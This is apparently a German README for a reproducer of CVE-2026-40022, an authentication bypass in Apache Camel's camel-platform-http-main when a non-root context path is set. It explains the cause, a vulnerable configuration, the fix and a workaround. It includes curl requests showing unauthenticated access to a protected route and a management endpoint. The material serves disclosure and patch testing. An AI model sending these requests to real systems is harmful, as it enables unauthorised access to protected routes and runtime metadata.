
Reproducer für CVE-2026-40022: Apache Camel camel-platform-http-main Authentifizierungsumgehung bei Nicht-Root-Kontextpfaden
Dieses Projekt zeigt eine Authentifizierungsumgehung in der Apache Camel Komponente camel-platform-http-main (dem eingebetteten HTTP-/Management-Server der Camel main Laufzeitumgebung), die als CVE-2026-40022 erfasst ist. Wenn die Authentifizierung aktiviert ist und ein Nicht-Root-Kontextpfad (z. B. /api oder /admin) konfiguriert wird, deckt der Authentifizierungs-Handler nur den exakten Kontextpfad ab, sodass nicht authentifizierte Anfragen an Unterpfade geschützte Routen und Management-Endpunkte erreichen.
Advisory: https://camel.apache.org/security/CVE-2026-40022.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-platform-http-main (Eingebetteter HTTP-/Management-Server der Camel main Laufzeitumgebung) |
| Betroffene Klassen | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| Ursache | Wenn authenticationPath nicht gesetzt ist, wird es von camel.server.path abgeleitet; beim Vert.x Sub-Router-Mounting-Modell stimmt der Auth-Handler nur mit dem exakten Kontextpfad überein, nicht mit seinen Unterpfaden |
| CWE | CWE-287: Unzulässige Authentifizierung (Authentifizierungsumgehung) |
| Auswirkung | Nicht authentifizierter Zugriff auf geschützte Geschäftsrouten und Management-Endpunkte (z. B. /observe/info Offenlegung von Laufzeitmetadaten) |
| Betroffene Versionen | Von 4.14.1 vor 4.14.6 und von 4.15.0 vor 4.18.2 |
| Behobene Versionen | 4.14.6, 4.18.2, 4.20.0 |
| Melder | Jihang Yu |
| PRs | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer (und JWTAuthenticationConfigurer) ermitteln den Pfad, den der Auth-Handler schützt, aus properties.getAuthenticationPath() und fallen auf properties.getPath() (den camel.server.path Kontextpfad) zurück, wenn dieser nicht explizit gesetzt ist:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
Der Vert.x-Server mountet einen Sub-Router unter <contextPath>* und registriert den Auth-Handler innerhalb dieses Sub-Routers auf dem ermittelten Pfad. In betroffenen Versionen ist der ermittelte Pfad der Kontextpfad selbst – relativ zum bereits unter /api gemounteten Sub-Router endet der Auth-Handler mit /api/api anstatt jeden Unterpfad abzudecken. Das führt zu:
/api/api wird abgefragt (401) – der Handler ist vorhanden, aber falsch abgegrenzt/api/hello (die eigentliche Geschäftsroute) wird nicht abgefragt → wird ohne Anmeldedaten ausgeliefertDer Fix bewirkt, dass resolveAuthenticationPath /* zurückgibt, sodass der Handler alle Unterpfade des Sub-Routers abdeckt.
application.properties – ein Nicht-Root-Kontextpfad mit aktivierter Authentifizierung und nicht gesetztem authenticationPath:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
Die Route wird unter /api/hello bereitgestellt.
Es wird kein externer Dienst oder Docker-Container benötigt – der anfällige HTTP-Server ist die Anwendung selbst.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
Der BasicAuthHandler ist aktiv – aber fälschlicherweise auf den exakten Kontextpfad beschränkt.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (dies ist eine GESCHÜTZTE Geschäftsroute)
Auf einer behobenen Version (4.14.6 / 4.18.2 / 4.20.0) gibt dies 401 Unauthorized zurück.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
Der gleiche Fehler betrifft den Management-Server (camel.management.path, z. B. /admin). Eine nicht authentifizierte Anfrage an einen Unterpfad wie /admin/observe/info erreicht den Management-Endpunkt, der Laufzeitmetadaten offenlegen kann: den OS-Benutzer, das Arbeits-/Home-Verzeichnis, die Prozess-ID, JVM- und OS-Informationen.
camel-platform-http-main.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath ist nicht explizit gesetzt.Upgrade auf 4.14.6 / 4.18.2 / 4.20.0. Der Fix (resolveAuthenticationPath) sorgt dafür, dass der Auth-Handler jeden Unterpfad abdeckt:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // war: der exakte Kontextpfad
}
Bis zum Upgrade:
camel.server.authenticationPath = /* (und camel.management.authenticationPath = /*),
damit der Handler alle Unterpfade abdeckt.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main Laufzeitumgebung Einstiegspunkt
│ └── HelloRoute.java # eine geschützte platform-http Route (/api/hello)
└── resources/
├── application.properties # Nicht-Root-Pfad + Auth aktiviert (die anfällige Konfiguration)
└── auth.properties # basic-auth Benutzer (camel / propertiesPass)
Dieses Reproduktionstool wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekanntgegebene und behobene Schwachstelle. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung.